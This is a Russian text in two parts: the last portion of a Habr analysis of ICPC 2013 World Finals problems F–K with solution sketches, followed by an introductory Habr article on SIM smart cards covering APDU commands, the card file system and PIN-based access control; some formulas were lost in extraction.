> Можно сделать наблюдение, что интересных отображений множества переменных на ячейки банков данных достаточно немного, чтобы их все перебрать. А именно (ячейки, задействованные в отображении, будем называть заполненными, аналогично банки, если все их ячейки заполнены):
>
>
>
>
> 1. Можно считать, что нулевой банк заполнен, если есть другой банк с заполненной ячейкой, потому что обращение к нулевому банку бесплатно.
> 2. Банки с номерами больше нуля идентичны, поэтому можно полагать, что минимальные номера переменных, отображенных в ячейки этих банков, упорядочены, например, по возрастанию.
> 3. Можно считать, что суммарное количество заполненных ячеек в двух любых банках больше *s*.
>
>
>
> С учетом отсечений 1 — 3 и ограничений входных данных интересных отображений около 3 · 106.
>
>
>
> Так как обращение к нулевому банку бесплатно, то можно убрать из программы переменные, отображенные на этот банк. Для каждой пары оставшихся переменных *i* и *j* можно предпросчитать *Cij* — стоимость операции обращения к переменной *j* после обращения к переменной *i*, после чего остается смоделировать работу программы.
#### Задача F. Low Power
Вы проектируете продвинутые чипы для вычислительных машин. Производство чипов просто и поставлено на рельсы, однако проблему вызывают источники питания, так как доступные батареи имеют различные выходные мощности.
Представьте, что у нас есть n машин с двумя чипами на каждой, а каждый чип питается от *k* батарей. Удивительно, но не имеет значения, сколько энергии потребляют чипы, однако важно, чтобы выходные мощности чипов как можно меньше отличались друг от друга, так как в этом случае машина работает наилучшим образом. Выходная мощность чипа — это минимальная выходная мощность среди всех *k* батарей в чипе. Вы располагаете *2nk* батареями, которые вам необходимо распределить по чипам машин. Может оказаться, что нет способа распределить батареи так, чтобы выходные мощности чипов были равны для всех машин. Тем не менее, вам нужно минимизировать разность мощностей. Подробнее, вы хотите гарантировать вашим заказчикам, что разность выходных мощностей чипов во всех машинах не превосходит *d*, при этом стараясь минимизировать *d*. Для этого вам нужно найти оптимальное распределение батарей по чипам.
Входные данные. Состоят из одного теста, содержащего две строки. В первой строке два числа *n* и *k* (*2nk* ≤ 106), во второй *2nk* целых чисел pi (1 ≤ pi ≤109).
Выходные данные. Выведите минимальное *d* такое, что существует распределение батарей по чипам, чтобы разность выходных мощностей чипов в каждой машине не превосходила *d*.
**Решение задачи F**
*Автор разбора — Станислав Пак.*
> Эта задача одна из простых. Нужно из 2*nk* выбрать *n* пар (назовем их представителями) батареек, каждая из которых
>
> имеет минимальную мощность на своем чипе, чтобы максимум разности выходных мощностей батареек в паре был минимален. Предположим, что зафиксировано *d*, тогда можно узнать, существуют ли представители такие, что максимум не превосходит *d*. Отсортируем мощности *p*1 ≤ *p*2… ≤ *p*2nk и будем жадно набирать пары: в первую пару попадут батареи *p*1 и *p*2. Если *p*2 — *p*1 > *d*, то представителей выбрать нельзя. Во вторую пару возьмем батареи (*p*i2, *p*i2+1) с разностью не больше *d* и минимальным индексом *i*2 ≤ 2*k* + 1, если это возможно. Аналогично в третью пару — (*p*i3, *p*i3 + 1), i3 ≤ 4k + 1.
>
>
>
> Если с помощью этого алгоритма не удается набрать *n* пар, то этого сделать нельзя. Ответ найдем бинарным поиском.
#### Задача G. Map Tiles.
*Это задача, которую в отведённое время не смогла решить правильно ни одна из команд.*
Печать карт — сложная задачка. Сначала нужно найти подходящее преобразование, чтобы уместить карту сферической земли на плоскости, потом оказывается, что для печати высококачественных карт нужно использовать несколько листов бумаги, потому что на один они не помещаются. Чтобы преодолеть эту трудность, издатели карт разбивают карту на несколько прямоугольных частей и печатают каждую часть отдельно. Именно в этом процессе вы примете участие в этой задаче.
Международная ассоциация издателей карт старается сократить расходы на печать карт минимизируя количество отдельных листов, используемых для печати карт. Даже со стандартным размером листов и масштабом карты можно оптимизировать расход листов, подстраивая их расположение.
В левой части рисунка показаны 14 листов, покрывающие область. В правой части показано, как ту же область можно покрыть всего 10 листами, не изменяя ориентацию области, размер листов и масштаб.
*Два разных способа разложить по листам Техас*
Ваша задача — помочь Международной ассоциации издателей карт найти минимальное количество листов, необходимое для покрытия заданной области. Для простоты область является замкнутым многоугольником без самопересечений.
Обратите внимание, что все листы должны являться частями непрерывной решетки, со сторонами параллельными горизонтали и вертикали. Листы могут касаться только своими сторонами полностью и не могут быть повернуты. Кроме того, хотя все заданные координаты являются целочисленными, листы могут быть расположены в нецелочисленных координатах.
Многоугольник может касаться сторон листов (как в примере 2). Однако, для того чтобы избежать проблем с машинным представлением рациональных чисел, можно предполагать, что ответ не изменится если вершина многоугольника будет находиться снаруди листа на расстоянии 10-6.
Входные данные. Вход состоит из одного теста. В первой строке теста записаны три числа *n*, xs и ys. Количество вершин многоугольника *n* (3 ≤ *n* ≤ 50), *xs* и *ys* (1≤ xs, ys ≤ 100) — размеры листов, которыми нужно покрыть картую. Каждая из следующих *n* строк содержит два целых числа *x* и *y* (0 ≤ x ≤ 10*xs*, 0 ≤ *y* ≤ 10*ys*), описывающих вершину многоугольника (в направлении обхода либо по часовой, либо против часовой стрелки).
Выходные данные. Выведите минимальное количество листов, необходимых для покрытия многоугольника.
**Решение задачи G**
*Автор разбора — [Яков Длугач](http://codeforces.ru/profile/Jacob), золотой медалист ACM ICPC 2012 в составе команды Физтеха.*
> Решение этой задачи разбивается на две части: генерацию вариантов расположения многоугольника и подсчёт количества занимаемых клеток для каждого из вариантов расположения.
>
>
>
> ###### Генерация вариантов
>
>
>
> Заметим, что если мы нашли некоторое решение, то его можно «подвинуть», пока многоугольник не упрётся в сетку (то есть дальнейшее движение может изменить набор выбранных клеток). Фактически есть несколько случаев, когда многоугольник упирается в сетку:
>
>
>
>
> - одна из вершин многоугольника попадает на линию сетки;
> - одно из рёбер многоугольника натыкается на узел сетки.
>
>
>
> При выполнении одного из этих условий у многоугольника всё ещё остаётся некоторая степень свободы:
>
>
>
>
> - в случае попадания вершины на линию сетки можно двигать многоугольник вдоль этой линии;
> - в случае попадания ребра на узел сетки можно двигать многоугольник вдоль ребра.
>
>
>
> Заранее оговоримся, что сдвиги, отличающиеся по каждой из координат на число, кратное шагу сетки, мы будем считать равными.
>
>
>
> Поэтому фактически есть три варианта выбора «упора», чтобы положение многоугольника относительно сетки задавалось однозначно.
>
>
>
>
> 1. Одна из вершин попадает на вертикальную линию сетки, и одна из вершин попадает на горизонтальную линию сетки. Сюда входит случай, когда одна вершина попадает в узел сетки. То есть упор однозначно задаётся парой вершин, итого вариантов — *n*2.
> 2. Одна из вершин попадает на горизонтальную или вертикальную линию сетки. Без потери общности будем считать, что эта линия сетки — вертикальная и задаётся уравнением *x* = 0.
>
> Пусть теперь одно из рёбер, не являющееся вертикальным, попадает на узел. Для выбора сдвига достаточно выбрать абсциссу этого узла, а это можно сделать не более чем *m* + 1 способами. За *m* обозначено число 10. Итого вариантов — *n*2(*m* + 1).
> 3. Два непараллельных ребра упираются в узел сетки. Тут для определения сдвига многоугольника помимо рёбер нужно зафиксировать «разность» между теми узлами сетки, в которые упираются эти рёбра. Итого — *n*2(*m* + 1)2 вариантов.
>
>
>
> В результате получаем в худшем случае O(*n*2*m*2) вариантов выбора сдвига многоугольника. Поскольку для каждого из вариантов затем нужно будет подсчитать количество занятых клеток, нужно, сгенерировав список всех вариантов, вычистить из него дубликаты: говорят, что это помогало уменьшить количество вариантов в «максимальных» тестах в 3 — 5 раз.
>
>
>
> Стоит заметить, что многие команды забывали рассматривать некоторые из этих трёх случаев (большинство команд останавливались только на рассмотрении первого).
>
>
>
> ###### Подсчёт занимаемых клеток
>
>
>
> Вторая сложность в этой задаче состояла в том, чтобы эффективно вычислить количество занимаемых клеток по заданному сдвигу. Наивный способ подсчёта — для (*m* + 1)2 клеток проверить наличие пересечения с многоугольником — работает за O(*m*2*n*) и не укладывается в ограничение по времени. Оказывается, что эффективнее будет считать количество занятых клеток в каждом из *m* + 1 столбцов. Для этого нужно рассмотреть непрерывные куски границы многоугольника, проходящие через столбец: либо кусок границы «пересекает» столбец (один конец куска — на правой границе столбца,
>
> а другой конец — на левой), либо оба конца куска находятся на одной границе столбца. Можно доказать, что куски первого типа разбиваются на пары, причём все клетки между этими кусками будут заняты. После этого к полученным клеткам нужно добавить клетки, через которые проходят куски второго типа. Этот метод можно реализовать за O(*m*(*m* + *n*)) = O(*mn*).
>
>
>
> Итоговая сложность алгоритма для этой задачи — O(*n*3*m*3).
#### Задача H. Матрёшка
Матрёшкой называют набор традиционных русских деревянных кукол уменьшающегося размера, помещенных внутрь друг друга. Матрёшку можно открыть, чтобы достать изнутри меньшую матрёшку, у которой, в свою очередь, внутри также есть матрёшка и так далее.
В Национальном Матрёшечном музее недавно проходила выставка матрёшек, на которой были представлены похожие по стилю, но отличающиеся количеством матрёшек в наборе куклы. С сожалению, один шаловливый (и оставленный без присмотра) ребенок разобрал все матрёшки и выставил все куклы в ряд.
В ряду оказалось *n* матрёшек, про каждую известен её целочисленный размер. Вам нужно заново собрать все матрёшки в наборы, однако вы не знаете ни изначальное количество наборов, ни количество кукол в каждом из наборов. Вы знаете только то, что каждый набор состоит из кукол всех последовательных размеров от 1 до некоторого *m*, причём *m* может быть различным для различных наборов.
При сборке наборов нужно руководствоваться следующими правилами:
- можно поместить матрёшку только внутрь матрёшку большего размера;
- можно объединить две матрёшки только если они стоят рядом в ряду;
- после того как матрешку помещают внутрь набора матрешек, ее нельзя переместить в другую группу матрешек или отделить от группы матрешек. Разрешается только временно разделить ее при объединении двух групп матрешек.
Ваше время очень ценно, поэтому вы хотите собрать все матрешки в группы как можно быстрее. Единственная часть процесса, которая занимает время, это открытие и после этого закрытие куклы, поэтому вы хотите минимизировать количество именно таких действий. Например, минимальное количество действий для объединения группы [1,2,6] и [4] — два, сначала нужно открыть матрешки размеров 6 и 4. Объединение групп [1,2,5] и [3,4] требует трех открытий.
Напишите программу, которая вычислит минимальное количество открытий, необходимых для сборки всех наборов матрешек.
Входные данные. Вам дан один тест, состоящий из двух строк. Первая строка содержит одно число *n* (1 ≤ n ≤ 500) — количество отдельных кукол в изначальном ряду. Во второй строке находится *n* чисел, описывающих размер каждой куклы в ряду. Размер каждой куклы не менее 1 и не превосходит 500.
Выходные данные. Выведите минимальное количество открытий матрешек, необходимое для того, чтобы собрать все наборы. Если сборка невозможна (ребенок мог забрать несколько кукол себе), выведите слово impossible.
**Решение задачи H**
*Автор разбора — [Алексей Ропан](http://codeforces.ru/profile/aropan), бронзовый медалист ACM ICPC 2012 в составе команды Белорусского государственного университета информатики и радиоэлектроники.*
> Давайте скажем, что значение *F**i* — это минимальное количество открытий матрёшек, которые нужно сделать для того, чтобы разбить первые *i* матрешек по группам. Тогда *F*0 = 0 и *F*i = min0≤j *F**j* + *G**j*+1,i, где значение *G**l*,*r* — это минимальное количество открытий, которое нужно сделать, чтобы сложить матрёшки с *l* по *r* включительно в одну (нумерация матрешек с единицы), и на интервале от *j* + 1 до *i* включительно все размеры матрёшек различные и не превышают *i* − *j*. Тогда ответ на задачу будет *F**n*, а сложность решения без учета вычисления значений *G* будет O(*n*2). Для *G**i*,*i* значение всегда равно 0, а для *G**i*,*j* и i < j на последнем этапе происходит объединение двух групп матрёшек. Пусть *k* — это номер матрёшки, на которой заканчивается левая группа. Тогда *G**i*,*j* = mini≤k *G**i*,*k* + *G*k+1,j + *C**i*,*k*,*j*, где значение *C**i*,*k*,*j* — это минимальное количество открытий матрёшек, которое потребуется для того, чтобы объединить группы матрёшек с *i*-й по *k*-ю и c *k*+1-й по *j*-ю. Пусть значение *M**i*,*j* — это минимальный размер матрёшки на интервале от *i* до *j* и значение *K**i*,*j*,*s* — количество матрёшек на интервале от *i* до *j*, размеры которых меньше *s*. Тогда *C**i*,*k*,*j* можно посчитать как *j* − *i* + 1 − *t*, где *t* — это количество матрёшек, которые при объединении не будут открыты, то есть *t* = *K**k*+1,j,*M**i,j* + *K**i*,*j*,*M**k*+1,*j* (можно заметить, что одно из слагаемых всегда будет равно нулю). Сложность вычисления *K* и *G* равна .
#### Задача I. Pirate Chest
Пират Джек устал от битв, мародерства, воровства и угнетения всех и вся в открытом море. Он решил уйти на пенсию, и даже нашел идеальный необитаемый островок в океане, на котором он достойно проведет остаток жизни, если у него, конечно, не закончатся деньги. Сейчас у него много золотых монет, которые он хочет сложить в сундук (он же в конце концов пират!). Джек может построить сундук в форме прямоугольного параллелепипеда с целочисленными сторонами и не превышающими заданный размерами дна сундука. Осталось лишь найти, куда спрятать сундук с сокровищами.
Джек решил затопить сундук в тенистом пруду. Поверхность пруда представляет собой прямоугольник с заданными сторонами, пруд со всех сторон окружен вертикальными каменными берегами. Джек исследовал дно пруда и знает про каждый квадрат 1х1 пруда (в декартовой системе координат) глубину пруда в этом месте. Когда Джек утопит сундук, последний утонет на максимально возможную глубину до тех пор, пока не коснется дна хотя бы одним квадратом. Из-за утопленного сундука уровень воды в пруду поднимется. Берега пруда достаточно высоки, чтобы вода никогда не вылилась за его границы. Разумеется, так как сундук нужно спрятать, он должен полностью находиться ниже уровня воды в пруду. Ваша задача — найти максимальный объем сундука, который можно спрятать в пруду.
На рисунке слева показан пруд без сундука, по центру — пруд в котором находится сундук объема 3, справа — сундук объема 4 (максимально возможного) в пруду. Обратите внимание, что если бы сундук с центрального рисунка был сделан на единицу большей высоты, то его верх был бы виден ровно на поверхности пруда.
Входные данные. Вход содержит один тест. Тест начинается со строки, содержащей четыре целых числа *a*, *b*, *m*, *n* (1≤ *a,b,m,n* ≤ 500). Размеры поверхности пруда — *m* x *n*, максимальный размер дна сундука — *a* x *b*. Кроме того, *a* и *b* достаточно, сундук никогда не покроет весь пруд полностью. Каждая из оставшихся m строк входа содержит *n* чисел dij, описывающих глубину пруда в квадрате с координатами *(i,j)*, где 0≤ dij ≤ 109 для любого 1≤ *i* ≤ *m*, 1≤ *j* ≤ *n*.
Выходные данные. Выведите максимальный объем сундука с целочисленными сторонами, который можно спрятать в пруду под поверхностью воды, причем одно из измерений дна должно не превышать *a*, а другое — не превышать *b*. Если ни один сундук нельзя спрятать под водой, то выведите 0.
**Решение задачи I**
*Автор разбора — Василий Астахов.*
> Для начала заметим, что если у нас есть участок дна размером *h* · *w*, глубиной хотя бы *d*, то мы можем положить туда сундук объемом , где S — площадь всего пруда. Отсюда получаем, что чем больше h · w, тем больший объем сундука мы можем погрузить, при фиксированном *d*. Перейдём теперь к решению задачи. По сути нам нужно проверить все прямоугольники (размером не превосходящем (*a,b*)) найти у них минимальную глубину дна, найти объем по формуле и выбрать максимум.
>
>
>
> Но такое решение будет работать слишком долго. Для ускорения работы, мы зафиксируем только x0 и x1 координаты прямоугольника (*x*0<*x*1, *x*1-*x*0 ≤ *b*). Таким образом, мы имеем дело с полосками, идущими от *x*0 координаты до *x*1. Посчитаем на каждой из них минимальную глубину (это можно сделать например препроцессингом за *n*3). Теперь заметим, что если *w*=*x*1-*x*0≤ *a*, то имеем ограничение на длину по *y b*, иначе длина по y меньше или равна *a*. Теперь задача свелась к одномерной: нам нужно найти такой отрезок (с указанным ограничением на его длину *h*), чтобы значение объема было максимальным. Отсортируем глубины всех отрезков начиная с максимальной. Введем двусторонний список индексов по оси *y*. По ходу действия алгоритма мы будем рассматривать индексы, начиная с максимальной глубины, а после обработки удалять их из списка.
>
>
>
> Так для каждого элемента мы будем знать номер ближайшего слева и справа элементов с меньшей глубиной (в плане индекса в массиве отсортированных глубин), чем уже отработаны. Таким образом, весь отрезок между ними имеет глубину ≥ текущей обрабатываемой. Значит, найдем минимум между его длиной и ограничение на длину отрезка и сравним с наилучшим ответом по формуле для объема. Таким образом, время работы алгоритма O(*n*2 · *m* · log *m* ), где log берется из сортировки.
#### Задача J. Pollution Solution
Будучи сотрудником отделения природопользования и охраны окружающей среды, вы должны следить за отходами, которые сбрасываются (иногда случайно, иногда специально) в реки, озёра и океаны. Одна из ваших задач — измерение влияния загрязнения на различные водные экосистемы, такие как коралловые рифы, места нереста и так далее.
Модель, которую вы используете при анализе, изображена на рисунке. Береговая линия (горизонтальная линия на рисунке) лежит на оси *x*, источник загрязнения расположен в начале координат (0, 0).
Распространение загрязнения в воду представляется полукругом, а многоугольник означает интересующую вас экосистему. Вам требуется определить площадь экосистемы, которая подверглась загрязнению, то есть площадь тёмно-синей области на рисунке.
Входные данные. Вход содержит один набор тестовых данных. Тест начинается строкой, содержащей два целых числа *n* и *r*, где 3 ≤ *n* ≤ 100 — это количество вершин многоугольника, 1 ≤ *r* ≤ 1000 — это радиус поля загрязнения. Следом идут *n* строк, каждая содержит по два целых числа *x**i* и *y**i* — координаты вершин многоугольника в порядке против часовой стрелки, причём −1500 ≤ *x**i* ≤ 1500 и 0 ≤ *y**i* ≤ 1500. Многоугольник не имеет самопересечений и самокасаний. Никакая вершина не лежит на окружности.
Выходные данные. Выведите площадь части многоугольника, которая попадает в полукруг с центром в начале координат радиуса *r*. Дайте ответ с абсолютной погрешностью не более 10−3.
**Решение задачи J**
*Автор разбора — [Сергей Соболь](http://codeforces.ru/profile/SobolS), серебряный медалист ACM ICPC 2012 в составе команды Белорусского государственного университета.*
> Это геометрическая задача с незамысловатым условием: требуется вычислить площадь пересечения полукруга и многоугольника, заданных на плоскости.
>
>
>
> Рассмотрим вначале удобный способ вычисления площадей произвольных простых многоугольников (без самопересечений, но не обязательно выпуклых). Пусть *O* — начало координат, а многоугольник задаётся *n* точками *P*1, *P*2, …, *P**n* в порядке обхода, которые можно отождествить с *n* двумерными радиус-векторами (*x**i*, *y**i*). Для простоты записи формул будем полагать, что *P**n*+1 = *P**1*. Тогда площадь фигуры выражается формулой
>
>
>
> ,
>
>
>
> где *S*(*O* *P**i* *P**i*+1) — ориентированная площадь треугольника с вершинами *O*, *P**i* и *P**i*+1:
>
>
>
> .
>
>
>
> Эта величина по модулю равна площади треугольника, а знак её зависит от относительного расположения точек:
>
>
>
> 
>
>
>
> Когда суммируются все *n* таких значений, площади «лишних» частей треугольников, лежащих вне многоугольника, взаимно уничтожаются и остаётся лишь искомая площадь многоугольника, итоговый знак которой зависит от порядка обхода точек (по часовой стрелке или против).
>
>
>
> 
>
>
>
> Вернёмся к нашей задаче. Заметим, что вместо полукруга можно рассматривать и целый круг, при этом ничего не поменяется, потому что многоугольник всегда лежит в верхней полуплоскости. Воспользуемся той же идеей: будем по очереди пересекать каждый треугольник *O**P**i**P**i*+1 с кругом и суммировать площади, которые получаются, с учётом ориентации.
>
>
>
> 
>
>
>
> Как найти площадь пересечения одного такого треугольника и заданного круга? Сначала стоит найти точки пересечения отрезка *P**i**P**i*+1 с окружностью. Это можно делать разными способами.
>
>
>
>
> - Каждая точка отрезка имеет вид *t P**i* + (1 − *t*) *P**i*+1 при некотором *t* из [0, 1] (параметрическое уравнение отрезка). Можно расписать расстояние от точки до начала координат в зависимости от *t*, приравнять его к радиусу окружности и решить квадратное уравнение.
> - Исходя из чисто геометрических соображений можно придти к более красивым [результатам](http://e-maxx.ru/algo/circle_line_intersection).
>
>
>
> Легко видеть, что отрезок может иметь с окружностью одну (как *P*1*P*2 и *P*3*P*4 на рисунке), две точки пересечения (*P*5*P*1) или не иметь ни одной (отрезки *P*2*P*3 и *P*4*P*5).
>
>
>
> Область пересечения круга и каждого из треугольников *O**P**i**P**i*+1 тогда разобьётся на отдельные треугольники и сектора (например, для треугольника *O**P*5*P*1 это будут два сектора и треугольник). В решении придётся сделать разбор случаев (по сути все они изображены на рисунке), что не очень приятно, но в целом не сложно. Для площадей треугольника и сектора есть общеизвестные формулы.
>
>
>
> Таким образом, задача решается за время .
#### Задача K. Up a Tree
Анатолий — типичный студент во многих смыслах. Всякий раз он пытается копипастить код вместо написания с нуля. Такой подход неизбежно доставляет ему проблемы. Например, когда он впервые познакомился с разными порядками обхода бинарных деревьев post, pre и in и получил код pre-обхода с вызовом функции вывода вершины output, он просто скопировал код, перенес вызов output в правильное место и переименовал функцию. Однако он забыл переименовать функции в теле обхода, получив неправильные функции обходов.
Пример кода и результат копипасты с правками.
```
void prePrint(TNode t)
{
output(t.value);
if (t.left != null)
prePrint(t.left);
if (t.right != null)
prePrint(t.right);
}
void inPrint(TNode t)
{
if (t.left != null)
prePrint(t.left);
output(t.value);
if (t.right != null)
prePrint(t.right);
}
void postPrint(TNode t)
{
if (t.left != null)
prePrint(t.left);
if (t.right != null)
prePrint(t.right);
output(t.value);
}
```
И тут Анатолий проявил себя не как типичный студент — он стал тестировать свой код! К сожалению, когда он увидел, что функции работаю неправильно, он стал вести себе как обычный студент снова. Он стал паниковать и случайным образом переименовывать вызовы функций во всех трех обходах, надеясь, что они начнут работать правильно.
Преподаватель Анатолия тестировал его код на случайных деревьях с символами в вершинах. Когда она посмотрела на выходные данные программы, то поняла, что случилось. Тем не менее, вместо того, чтобы посмотреть код, она попробовала восстановить код по его выводу. Для этого она сделала справедливые предположения:
- команда вывода символа находится на правильном месте, например, между вызовами функций в inPrint обходе;
- среди всех 6 рекурсивных вызовов ровно по два вызова inPrint, prePrint и postPrint, возможно, стоящих в неправильных местах.
Вскоре преподаватель поняла, что восстановление кода Анатолия и тестового дерева по выводу программы не такая простая задача и что результат может быть неоднозначным. Вам предстоит помочь ей найти все возможные реконструкции кода Анатолия. Вдобавок, для каждого восстановленного кода необходимо найти лексикографически наименьшее дерево по выходным данным программы.
Входные данные. Состоят из одного теста, содержащего три строки — выходные строки функций соответственно prePrint, inPrint и postPrint. Строки имеею одинаковую длину *n* (4 ≤ *n* ≤ 26), все символы каждой из строк различны.
Выходные данные. Для каждого восстановления в отдельную строку выведите 6 слов из множества {Pre, In, Post} — префиксы имен функций в теле prePrint в порядке следования в коде, имена функций в теле inPrint и, наконец, postPrint. Далее, в трех остальных строках выведите результаты правильных prePrint, inPrint, postPrint функций на тестовом дереве, на котором эти результаты лексикографически минимальны, то есть результат prePrint минимально возможный, среди всех таких деревьев, такое, на котором результат inPrint минимален.
**Решение задачи K**
*Автор разбора — [Егор Куликов](http://codeforces.ru/profile/egor), бронзовый медалист ACM ICPC 2007 года в составе команды МГУ им. М.В. Ломоносова.*
> Давайте для начала переберём вариант расстановки вызовов функций. Таких вариантов всего 90. Пусть расстановка вызовов фиксирована. Далее мы можем посчитать ответ динамическим программированием. В качестве состояния возмём *S*(*f*1, *f*2, *f*3, *s*1, *s*2, *s*3, *l*) — существует ли дерево, которое, если его напечатать функцией *f**i*, будет подстрокой *i*-й строки входных данных, начинающейся в позиции *s**i* и имеющей длину *l*, и если да — то найти такое дерево с лексикографически минимальной префиксной записью, а если и таких несколько — с лексикографически минимальной инфиксной записью.
>
>
>
> В каждой позиции мы можем просто перебрать число вершин в левом поддереве текущего поддерева, таким образом время работы динамического перехода O(*n*2).
>
>
>
> Теоретически существует 33 n4 возможных положений, но так как для положительного ответа набор букв в каждой подстроке должен совпадать, то содержательных позиций не более 33 n2, при n ≤ 26 это легко укладывается в ограничения по времени и памяти.
>
>
>
>
Конечно, это не единственный существующий разбор задач ACM ICPC 2013, есть и другие. Например, можете посмотреть на разбор, который опубликовал доцент Королевского технологического института Швеции [Per Austrin](http://www.csc.kth.se/~austrin/icpc/finals2013solutions.pdf) (на английском). В разные годы он также бывал и участником, и судьёй ICPC. Оригиналы задач вы можете найти [здесь](http://icpc.baylor.edu/download/worldfinals/problems/icpc2013.pdf). | https://habr.com/ru/post/186316/ | null | ru | null |
# Смарт-карты для самых маленьких
 Поскольку статья вводная и обзорная, то рассматриваться будет простейшая разновидность смарт-карт — SIM-карты, полагаю, что таких карт на планете сейчас больше всего.
По сегодняшним меркам стандарт SIM выглядит архаично, но зато он идеален для первого знакомства с миром смарт-карт, усвоение принципов, которые заложены в основу этого стандарта, облегчит дальнейшее погружение в тему.
Если Вы «карточник», то вряд ли узнаете для себя что-то новое, разве что какие-нибудь не очень понятные моменты разложатся по полочкам, а может быть Вы разложете по полочкам то, что недопонял автор (но, напоминаю, держимся в рамках SIM!).
Смарт-карта является программно-аппаратным комплексом, по сути — миниатюрным компьютером, в состав которого входят, как минимум:
* процессор;
* оперативная память;
* подсистема хранения данных;
* операционная система.
Часто, но не всегда, в состав карты входит и Java VM. ОС, как таковая, конечному пользователю не видна.
APDU
====
Роль API выполняет обмен данными с картой посредством т.н. APDU.
Множество различных APDU представляет из себя набор команд, каждая из которых имеет следующую структуру (согласно [ISO7816-4](http://ru.wikipedia.org/wiki/ISO/IEC_7816)):
| Элемент | Размер (байт) | Описание |
| --- | --- | --- |
| CLA | 1 | класс команды |
| INS | 1 | код инструкции |
| P1 | 1 | параметр №1 |
| P2 | 1 | параметр №2 |
| L | 1 | длина данных, передаваемых карте. |
| Data | L | данные |
APDU принято записывать в виде набора шестнадцатиричных цифр, вот так:
`A0 A4 00 00 02 3F00`
Для GSM SIM-карт используется CLA = `A0`.
Приведу несколько кодов инструкций:
| Инструкция | Описание |
| --- | --- |
| A4 | SELECT FILE |
| `B0` | READ BINARY |
| `B2` | READ RECORD |
| `C0` | GET RESPONSE |
| `20` | VERIFY CODE |
| `D6` | UPDATE BINARY |
| `DC` | UPDATE RECORD |
В ответ на APDU карта всегда возвращает, как минимум, 2 байта, т.н. Status Word (SW),
причем первый и второй байт соответственно принято называть SW1 и SW2. По SW можно определить статус исполнения команды, причем SW1 обычно предоставляет основную информацию, а SW2 — дополнительную. В случае SIM-карт об успехе выполнения будут говорить статусы 90 00 и 9F xx (здесь xx — шестнадцатиричная цифра, длина дополнительной информации, о которой ниже).
Помимо SW карта может вернуть и данные. Есть также команды, после выполнения которых возможно получить дополнительную информацию.
Для этого предназначена команда:
`GET RESPONSE`
Для того, чтобы воспользоваться «услугами» этой инструкции, нужно иметь в виду, что она должна быть вызвана сразу после той команды, результат которой требуется запросить. При вызове любой инструкции, отличной от GET RESPONSE, контекст предыдущей команды будет утрачен.
Если какая-либо инструкция позволяет использовать после своего вызова GET RESPONSE, то она в SW2 возвращает объем данных в байтах, который вернет команда GET RESPONSE.
Одним из ярких применений GET RESPONSE является ее использование после команды SELECT — оно дает возможность получить полезную информацию о выбранном объекте файловой системы.
Подсистема хранения данных
==========================
Кстати, самое время вспомнить о файловой системе карты. Система эта является иерархической, существует корневая папка (Master File, MF), обычные папки (Dedicated File, DF) и, собственно, файлы (Elementary File, EF). Каждый объект файловой системы имеет идентификатор (File ID, FID), который, в простейшем случае, состоит из четырех шестнадцатиричных цифр и который заменяет ему имя. Например, MF всегда имеет идентификатор `3F00`. В рамках каждого карточного стандарта существует свой перечень зарезервированных файловых идентификаторов, например, файл адресной книги на SIM имеет идентификатор 6F3A, а файл для хранения SMS — 6F3C. У стандартных файлов также имеются и произносимые имена (исключительно для удобства человека, API их не использует), для указанных выше файлов они, такие:
EF ADN для `6F3A`;
EF SMS для `6F3С`.
В случае с SIM-картами стандартные сценарии использования не предусматривают модификации файловой структуры, т.е. невозможно создать EF или DF.
Возможно только модифицировать содержимое файлов. Конечно, жизнь диктует и нестандартные сценарии, но сейчас мы их рассматривать не будем.
### Типы файлов
API смарт-карт предусматривает манипуляции с тремя типами файлов:
1. **Transparent**
аналог обычного бинарного файла любой файловой системы.
Средства работы с такими файлами — пара команд `READ BINARY/UPDATE BINARY`.
2. **Linear Fixed**
Файл, состоящий из фиксированного количества записей, причем все записи одинаковой длины, длина записи задается при создании файла.
Записей не может быть больше 255 шт., каждая запись не может быть длинее 255 байт.
Средство работы — пара READ RECORD/UPDATE RECORD.
Можно использовать как абсолютную (по номеру записи) так и относительную адресацию (следующая/предыдущая, но без цикличности).
Пример использования — записная книжка на SIM-карте.
3. **Cyclic**
В целом — то же, что и Linear Fixed, но со следующей дополнительной функциональностью:
При чтении: замкнутость — при использовании относительной адресации, переходя с последней на следующую запись попадаем на первую, переходя с первой на предыдущую запись, попадаем на последнюю.
При записи: допустима только относительная адресация с обращением только к предыдущей записи. Есть даже специальная команда, только для циклических файлов, которая обновляет самую старую запись файла (после этого она становится самой новой) — INCREASE.
Первая запись всегда хранит самые новые данные, а последняя — самые старые.
Пример использования — список ранее набранных номеров. Вообще, файлы данного типа используются гораздо реже, чем файлы других типов.
В API отсутствует возможность запросить список всех файлов/папок для MF или DF, соответственно, для того, чтобы проверить наличие файла по заданному пути, необходимо попытаться выбрать этот файл командой SELECT и проанализировать SW.
Виды обобщенных операций с файлами представлены в данной таблице:
| Обобщенный тип операции | Примеры команд |
| --- | --- |
| Read | `READ BINARY, READ RECORD` |
| Update | `UPDATE RECORD, UPDATE RECORD, INCREASE` |
| Invalidate | `INVALIDATE` |
| Rehabilitate | `REHABILITATE` |
Кратко поясню по последним двум командам:
1. **`INVALIDATE`** — обратимо изменяет состояние файла так, что:
* для него выставляется специальный флаг, т.е. мы можем узнать о том, что файл инвалидирован.
* в зависимости от настроек инвалидированного файла операции чтения и записи могут стать невозможны.
2. **`REHABILITATE`** — возвращает инвалидированный ранее файл в обычное состояние, при этом возможные ограничения, наложенные инвалидацией, снимаются.
Пример использования — механизм активации режима фиксированного набора (когда звонить можно только абонентам из специальной телефонной книги) построен на инвалидации файла основной телефонной книги SIM-карты. О других применениях данного механизма мне неизвестно.
Определившись с обобщенными типами операций над файлами, мы можем перейти к знакомству с принципами разграничения доступа.
Разграничение доступа
=====================
В основе этих принципов лежат понятия:
1. Access Condition (AC) — состояние карты, в пределах текущей сесии, при котором для определенного файла возможен определенный вид операции.
2. Условия доступа, самым известным из которых является предъявление PIN-кода.
Возможные условия доступа:
| Условие доступа | Пояснение |
| --- | --- |
| Never | Операция запрещена |
| Always | Операция разрешена всегда |
| PIN1 (так же известен как CHV1) | Для выполнения операции требуется предъявить карте PIN1 |
| PIN2 (CHV2) | Для выполнения операции требуется предъявить карте PIN2 |
| ADM | Для выполнения операции требуется предъявить карте административный код. |
Оба кода PIN предъявляются карте командой VERIFY CODE. ADM предъявляется проприетарной командой (какая команда вздумается производителю, такую он и использует, поскольку стандартом это не регламентировано).
Предъявление кода — это операция масштаба сессии работы с картой, если вы предъявили PIN или ADM однажды, то можете выполнять операции со всеми файлами, которые требуют соответствующего кода, пока сессия не завершится.
